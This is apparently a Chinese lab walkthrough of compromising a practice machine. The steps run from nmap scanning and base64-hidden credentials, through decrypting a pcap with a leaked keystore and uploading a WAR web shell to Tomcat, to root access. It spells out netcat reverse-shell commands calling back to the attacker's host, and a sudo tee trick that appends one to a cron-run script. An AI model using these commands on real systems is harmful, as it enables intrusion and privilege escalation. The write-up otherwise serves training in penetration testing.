外网艰难打点到Linux提权
2022-7-16 08:32:32 Author: 雾晓安全(查看原文) 阅读量:11 收藏

0x01 外网艰难打点

首先使用另外一张网卡,将机器NAT连接

使用arp-scan -l扫描内网分配的IP

访问192.168.110.140

先用NMAP开路

nmap -sV 192.168.110.140

端口全开,有问题,我们从web页面下手,先查看网页有什么信息,先查看源码

发现了一串字符

Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo

这个字符为base64,我们进行解密

pgibbons:damnitfeel$goodtobeagang$ta,是账号和密码,我们点击图片,并进行了url跳转

点击左边每个按钮

我们查看源代码,并没得到可用的消息,点击按钮第一个是首页、第二个是一张合照、第三个是订书机的照片、第四个跳转到了一个登录界面。

用刚刚破解出来的密码尝试登陆,pgibbons是账号,damnitfeel$goodtobeagang$ta是密码

登录成功之后,是空白的页面

我们再返回到之前的页面,在点击跳转邮箱。

进到了一个邮件系统,让我们查看一下收件箱,进行基本的信息收集。

第1封邮件,主要内容:让你的团队只能向管理门户发布任何敏感的内容。我的密码非常安全,发自ImpressCMS Admin Bill

第2封邮件,主要内容:Michael采购了IDS/IPS。

第3封邮件,主要内容:有一个peter的SSL证书被保存在192.168.110.140/.keystore

我们得到一个192.168.110.140/.keystore链接

访问把他下载下来

 并且访问到目录浏览,得知中间件是Apache/2.4.7 服务器是Ubuntu 

点击这里,有一个流量文件

并且获得了几个关键的信息,这个pcap文件是红队的重新攻击产生的,但是不能读取文件。而且别名、Keystore密码、key密码都设置成tomcat。

由此推测:

a.这是一个流量包文件,不能读取很可能因为某些流量有SSL加密(前面的邮件中提供了一个keystore,这里提供了密码,是解密SSL密钥)

b.系统中可能存在tomcat。

把两个文件,放到一个文件夹里面,使用keytool工具解密,从秘钥库导出.p12 证书

keytool -list -keystore keystore

导出名为 admin.p12 的文件

keytool -importkeystore -srckeystore keystore -destkeystore admin.p12 -deststoretype pkcs12

使用wireshark解密 

 

点开Protocols,寻找TLS 或者SSL,填写靶场IP地址、端口、协议、Key文件路径、密码

将弹出来的窗口点击OK,然后打开流量文件,过滤项仅保留HTTP协议

可以看到所有的HTTP流量,然后我们右键追踪HTTP

可以看到他GET请求了/[email protected]/html页面,并且输入了账号密码,密码为base64加密,解密之后为:Tt\5D8F(#!*u=G)4m7zB

0x02 流量包泄露到Linux提权

登录后台时需要处理一下,设置代理为本地代理,才能访问,而且必须要HTTPS 

账号为之前我们base64解密出来的账号和密码,进来之后往下滑 看到了一个文件上传,而且是可以上传任意文件,我们这里上传shell

因为是tomcat,我们这里把shell添加成ZIP后缀的压缩包,然后直接重命名修改为war后缀的文件,再进行上传(这里因为靶机存在查杀Webshell的工具,每隔一段时间shell就被删除了)然后我们使用冰蝎马,因为是加密传输所以并没有被杀掉

这里我们使用ncshell弹到Kali,Kali使用nc进行监听

nc -l -p 4444

冰蝎执行反弹命令

nc -nv 192.168.1.1 -c /bin/bashl -p 4444

接收到弹回来的shell之后我们使用Python写一个交互式的shell

Python -c ‘import pty;pty.spawn(“/bin/bash”)’

然后在网站的目录下找到数据库的账号和密码

 

连接数据库,在数据库中找到机器ssh的用户的密码

密码进行md5解密,直接登录靶机,账号milton,密码thelaststraw

 

history命令看到用户提权到blumbergh用户的记录,blumbergh用户密码保存在images目录下的图片里,使用strings命令查看,bill.png发现了隐藏的密码,密码是coffeestains

 

切换过来之后我们查看sudo权限运行的程序,发现一个sudo权限运行的sh脚本

利用这个脚本来给我们弹回来一个shell

echo"nc 192.168.1.1 4444 -e /bin/bash" >> shell.txt
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

然后Kali进行监听,因为该脚本为定时执行,我们只需要等待shell弹回来即可 

欢迎 点赞留言分享至朋友圈 三连

 好文推荐  


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDM2MTE5Mw==&mid=2247493032&idx=2&sn=4ad42cae8284e78e71717c85c1a34d1c&chksm=ce682a2ef91fa3381f3a033055a24f58a4460a526ff8d5dbae0ecc062a246c8d76f13d869ea1#rd
如有侵权请联系:admin#unsafe.sh